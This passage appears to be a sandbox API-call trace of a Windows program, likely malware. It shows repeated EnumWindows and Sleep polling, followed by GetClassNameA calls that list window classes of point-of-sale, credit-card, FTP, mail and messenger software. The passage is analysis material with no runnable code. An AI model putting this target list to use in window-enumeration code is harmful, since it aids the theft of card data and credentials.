[0229.740] Sleep (dwMilliseconds=0x64) [0229.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.742] Sleep (dwMilliseconds=0x64) [0229.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.744] Sleep (dwMilliseconds=0x64) [0229.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.745] Sleep (dwMilliseconds=0x64) [0229.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.748] Sleep (dwMilliseconds=0x64) [0229.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.750] Sleep (dwMilliseconds=0x64) [0229.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.752] Sleep (dwMilliseconds=0x64) [0229.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.756] Sleep (dwMilliseconds=0x64) [0229.813] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.814] Sleep (dwMilliseconds=0x64) [0229.880] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.882] Sleep (dwMilliseconds=0x64) [0229.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.884] Sleep (dwMilliseconds=0x64) [0229.885] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.886] Sleep (dwMilliseconds=0x64) [0229.888] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.888] Sleep (dwMilliseconds=0x64) [0229.890] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.890] Sleep (dwMilliseconds=0x64) [0229.894] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.894] Sleep (dwMilliseconds=0x64) [0229.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.896] Sleep (dwMilliseconds=0x64) [0229.905] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.905] Sleep (dwMilliseconds=0x64) [0229.914] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.915] Sleep (dwMilliseconds=0x64) [0229.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0229.955] Sleep (dwMilliseconds=0x64) [0230.023] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.024] Sleep (dwMilliseconds=0x64) [0230.032] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.033] Sleep (dwMilliseconds=0x64) [0230.040] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.041] Sleep (dwMilliseconds=0x64) [0230.051] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.052] Sleep (dwMilliseconds=0x64) [0230.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.054] Sleep (dwMilliseconds=0x64) [0230.073] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.074] Sleep (dwMilliseconds=0x64) [0230.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.156] Sleep (dwMilliseconds=0x64) [0230.165] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.167] Sleep (dwMilliseconds=0x64) [0230.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.173] Sleep (dwMilliseconds=0x64) [0230.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.175] Sleep (dwMilliseconds=0x64) [0230.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.177] Sleep (dwMilliseconds=0x64) [0230.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.179] Sleep (dwMilliseconds=0x64) [0230.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.187] Sleep (dwMilliseconds=0x64) [0230.195] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.196] Sleep (dwMilliseconds=0x64) [0230.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.285] Sleep (dwMilliseconds=0x64) [0230.314] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.315] Sleep (dwMilliseconds=0x64) [0230.323] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.324] Sleep (dwMilliseconds=0x64) [0230.334] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.335] Sleep (dwMilliseconds=0x64) [0230.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.382] Sleep (dwMilliseconds=0x64) [0230.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.447] Sleep (dwMilliseconds=0x64) [0230.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.494] Sleep (dwMilliseconds=0x64) [0230.499] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.500] Sleep (dwMilliseconds=0x64) [0230.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.511] Sleep (dwMilliseconds=0x64) [0230.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.562] Sleep (dwMilliseconds=0x64) [0230.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.600] Sleep (dwMilliseconds=0x64) [0230.610] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.611] Sleep (dwMilliseconds=0x64) [0230.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.682] Sleep (dwMilliseconds=0x64) [0230.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.691] Sleep (dwMilliseconds=0x64) [0230.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.700] Sleep (dwMilliseconds=0x64) [0230.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.729] Sleep (dwMilliseconds=0x64) [0230.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.800] Sleep (dwMilliseconds=0x64) [0230.887] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.887] Sleep (dwMilliseconds=0x64) [0230.908] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.909] Sleep (dwMilliseconds=0x64) [0230.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.924] Sleep (dwMilliseconds=0x64) [0230.938] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0230.939] Sleep (dwMilliseconds=0x64) [0231.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.145] Sleep (dwMilliseconds=0x64) [0231.251] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.257] Sleep (dwMilliseconds=0x64) [0231.260] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.261] Sleep (dwMilliseconds=0x64) [0231.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.489] Sleep (dwMilliseconds=0x64) [0231.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.819] Sleep (dwMilliseconds=0x64) [0231.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.833] Sleep (dwMilliseconds=0x64) [0231.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.835] Sleep (dwMilliseconds=0x64) [0231.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.837] Sleep (dwMilliseconds=0x64) [0231.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.840] Sleep (dwMilliseconds=0x64) [0231.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.842] Sleep (dwMilliseconds=0x64) [0231.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.950] Sleep (dwMilliseconds=0x64) [0231.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.968] Sleep (dwMilliseconds=0x64) [0231.970] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.970] Sleep (dwMilliseconds=0x64) [0231.972] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.973] Sleep (dwMilliseconds=0x64) [0231.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.975] Sleep (dwMilliseconds=0x64) [0231.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.978] Sleep (dwMilliseconds=0x64) [0231.979] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.980] Sleep (dwMilliseconds=0x64) [0231.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.982] Sleep (dwMilliseconds=0x64) [0231.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.984] Sleep (dwMilliseconds=0x64) [0231.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0231.997] Sleep (dwMilliseconds=0x64) [0232.106] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.107] Sleep (dwMilliseconds=0x64) [0232.108] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.109] Sleep (dwMilliseconds=0x64) [0232.110] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.111] Sleep (dwMilliseconds=0x64) [0232.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.113] Sleep (dwMilliseconds=0x64) [0232.114] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.115] Sleep (dwMilliseconds=0x64) [0232.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.117] Sleep (dwMilliseconds=0x64) [0232.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.126] Sleep (dwMilliseconds=0x64) [0232.133] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.133] Sleep (dwMilliseconds=0x64) [0232.140] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.141] Sleep (dwMilliseconds=0x64) [0232.255] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.256] Sleep (dwMilliseconds=0x64) [0232.264] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.265] Sleep (dwMilliseconds=0x64) [0232.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.273] Sleep (dwMilliseconds=0x64) [0232.294] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.295] Sleep (dwMilliseconds=0x64) [0232.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.303] Sleep (dwMilliseconds=0x64) [0232.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.435] Sleep (dwMilliseconds=0x64) [0232.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.437] Sleep (dwMilliseconds=0x64) [0232.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.439] Sleep (dwMilliseconds=0x64) [0232.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.441] Sleep (dwMilliseconds=0x64) [0232.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.443] Sleep (dwMilliseconds=0x64) [0232.445] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.445] Sleep (dwMilliseconds=0x64) [0232.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.453] Sleep (dwMilliseconds=0x64) [0232.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.461] Sleep (dwMilliseconds=0x64) [0232.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.474] Sleep (dwMilliseconds=0x64) [0232.591] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.593] Sleep (dwMilliseconds=0x64) [0232.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.602] Sleep (dwMilliseconds=0x64) [0232.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.610] Sleep (dwMilliseconds=0x64) [0232.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.612] Sleep (dwMilliseconds=0x64) [0232.615] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.616] Sleep (dwMilliseconds=0x64) [0232.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.618] Sleep (dwMilliseconds=0x64) [0232.620] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.620] Sleep (dwMilliseconds=0x64) [0232.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.622] Sleep (dwMilliseconds=0x64) [0232.626] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.627] Sleep (dwMilliseconds=0x64) [0232.632] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.632] Sleep (dwMilliseconds=0x64) [0232.635] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.636] Sleep (dwMilliseconds=0x64) [0232.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.643] Sleep (dwMilliseconds=0x64) [0232.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.751] Sleep (dwMilliseconds=0x64) [0232.753] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.754] Sleep (dwMilliseconds=0x64) [0232.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0232.766] Sleep (dwMilliseconds=0x64) [0233.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) returned 1 [0233.010] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0233.010] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0233.011] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0233.011] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.011] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.011] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.011] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.011] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.011] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0233.011] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.011] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0233.011] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0233.011] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0233.012] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0233.012] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.012] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0233.012] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0233.012] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0233.012] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0233.012] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0233.012] GetClassNameA (in: hWnd=0x100c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0233.012] GetClassNameA (in: hWnd=0x100ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.012] GetClassNameA (in: hWnd=0x10090, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.012] GetClassNameA (in: hWnd=0x10084, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.012] GetClassNameA (in: hWnd=0x100c0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.012] GetClassNameA (in: hWnd=0x100bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.012] GetClassNameA (in: hWnd=0x100b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.013] GetClassNameA (in: hWnd=0x100a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.013] GetClassNameA (in: hWnd=0x100a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.013] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.013] GetClassNameA (in: hWnd=0x20078, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0233.013] GetClassNameA (in: hWnd=0x101dc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0233.013] GetClassNameA (in: hWnd=0x100d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.013] GetClassNameA (in: hWnd=0x40132, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0233.013] GetClassNameA (in: hWnd=0x202e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0233.013] GetClassNameA (in: hWnd=0x2024c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0233.013] GetClassNameA (in: hWnd=0x2026a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-006BD5C8-8b7ad90") returned 28 [0233.013] GetClassNameA (in: hWnd=0x202ee, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0233.013] GetClassNameA (in: hWnd=0x20298, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.013] GetClassNameA (in: hWnd=0x10340, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="AnalysisDemocratcls") returned 19 [0233.013] GetClassNameA (in: hWnd=0x1033e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="largecls") returned 8 [0233.013] GetClassNameA (in: hWnd=0x10310, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="edcsvrapp") returned 9 [0233.014] GetClassNameA (in: hWnd=0x1032e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="utg2class") returned 9 [0233.014] GetClassNameA (in: hWnd=0x10328, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spgagentservice_window") returned 22 [0233.014] GetClassNameA (in: hWnd=0x102fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ccv_server_app") returned 14 [0233.014] GetClassNameA (in: hWnd=0x1032a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0233.014] GetClassNameA (in: hWnd=0x10320, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="mxslipstreamapp") returned 15 [0233.014] GetClassNameA (in: hWnd=0x102f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0233.014] GetClassNameA (in: hWnd=0x10322, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="omniposwnd") returned 10 [0233.014] GetClassNameA (in: hWnd=0x10314, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="issposclass") returned 11 [0233.014] GetClassNameA (in: hWnd=0x102f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="accupos_window") returned 14 [0233.014] GetClassNameA (in: hWnd=0x10312, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="fpos_window") returned 11 [0233.014] GetClassNameA (in: hWnd=0x1033a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.014] GetClassNameA (in: hWnd=0x10308, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="centralcreditcardapp") returned 20 [0233.014] GetClassNameA (in: hWnd=0x10304, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="creditserviceclass") returned 18 [0233.014] GetClassNameA (in: hWnd=0x102da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="winscpapp") returned 9 [0233.014] GetClassNameA (in: hWnd=0x102f4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="aldeloapp") returned 9 [0233.014] GetClassNameA (in: hWnd=0x102d2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="trillianapp") returned 11 [0233.014] GetClassNameA (in: hWnd=0x102e6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_window") returned 21 [0233.014] GetClassNameA (in: hWnd=0x102e4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="active-chargeapp") returned 16 [0233.015] GetClassNameA (in: hWnd=0x102ce, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="whatsappapp") returned 11 [0233.015] GetClassNameA (in: hWnd=0x102d0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0233.015] GetClassNameA (in: hWnd=0x102ae, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="scriptftpapp") returned 12 [0233.015] GetClassNameA (in: hWnd=0x102c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0233.015] GetClassNameA (in: hWnd=0x102bc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="skypeclass") returned 10 [0233.015] GetClassNameA (in: hWnd=0x102a2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="operamailwindow") returned 15 [0233.015] GetClassNameA (in: hWnd=0x102ba, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="smartftp_wnd") returned 12 [0233.015] GetClassNameA (in: hWnd=0x102b0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="pidgin_cls") returned 10 [0233.015] GetClassNameA (in: hWnd=0x102aa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="outlookwnd") returned 10 [0233.015] GetClassNameA (in: hWnd=0x102a4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="notepadapp") returned 10 [0233.015] GetClassNameA (in: hWnd=0x1028a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0233.015] GetClassNameA (in: hWnd=0x10294, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ncftp") returned 5 [0233.015] GetClassNameA (in: hWnd=0x10288, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="leechftpcls") returned 11 [0233.015] GetClassNameA (in: hWnd=0x10274, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flingclass") returned 10 [0233.015] GetClassNameA (in: hWnd=0x10280, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="gmailnotifierproapp") returned 19 [0233.015] GetClassNameA (in: hWnd=0x1026c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="filezilla") returned 9 [0233.015] GetClassNameA (in: hWnd=0x10282, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_cls") returned 18 [0233.016] GetClassNameA (in: hWnd=0x10272, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="flashfxp_class") returned 14 [0233.016] GetClassNameA (in: hWnd=0x1025e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="farapp") returned 6 [0233.016] GetClassNameA (in: hWnd=0x10262, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="coreftp") returned 7 [0233.016] GetClassNameA (in: hWnd=0x10258, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0233.016] GetClassNameA (in: hWnd=0x1025a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="bitkinexcls") returned 11 [0233.016] GetClassNameA (in: hWnd=0x10252, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0233.016] GetClassNameA (in: hWnd=0x10250, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_class") returned 20 [0233.016] GetClassNameA (in: hWnd=0x10248, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="3dftp_wnd") returned 9 [0233.016] GetClassNameA (in: hWnd=0x10242, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="up_guess_class") returned 14 [0233.016] GetClassNameA (in: hWnd=0x1021c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Strategyplayerownerwnd") returned 22 [0233.016] GetClassNameA (in: hWnd=0x1022a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Talk_class") returned 10 [0233.016] GetClassNameA (in: hWnd=0x10222, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="loss_Necessary_app") returned 18 [0233.016] GetClassNameA (in: hWnd=0x10224, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="safewindow") returned 10 [0233.016] GetClassNameA (in: hWnd=0x10218, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="now_Third_window") returned 16 [0233.016] GetClassNameA (in: hWnd=0x10212, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cup_cls") returned 7 [0233.016] GetClassNameA (in: hWnd=0x10206, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="second_Position_home_wnd") returned 24 [0233.016] GetClassNameA (in: hWnd=0x10226, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="agent_window") returned 12 [0233.017] GetClassNameA (in: hWnd=0x10210, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Hementionnewswindow") returned 19 [0233.017] GetClassNameA (in: hWnd=0x10204, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="High") returned 4 [0233.017] GetClassNameA (in: hWnd=0x301fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Another_artist_window") returned 21 [0233.017] GetClassNameA (in: hWnd=0x2018e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="cover_More_cls") returned 14 [0233.017] GetClassNameA (in: hWnd=0x401f0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Along") returned 5 [0233.017] GetClassNameA (in: hWnd=0x3002e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="teamMaintainwnd") returned 15 [0233.017] GetClassNameA (in: hWnd=0x20138, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.017] GetClassNameA (in: hWnd=0x30032, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.017] GetClassNameA (in: hWnd=0x2015c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.017] GetClassNameA (in: hWnd=0x6003e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0233.017] GetClassNameA (in: hWnd=0x30194, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0233.017] GetClassNameA (in: hWnd=0x2027c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0233.017] GetClassNameA (in: hWnd=0x20124, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0233.017] GetClassNameA (in: hWnd=0x20126, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0233.017] GetClassNameA 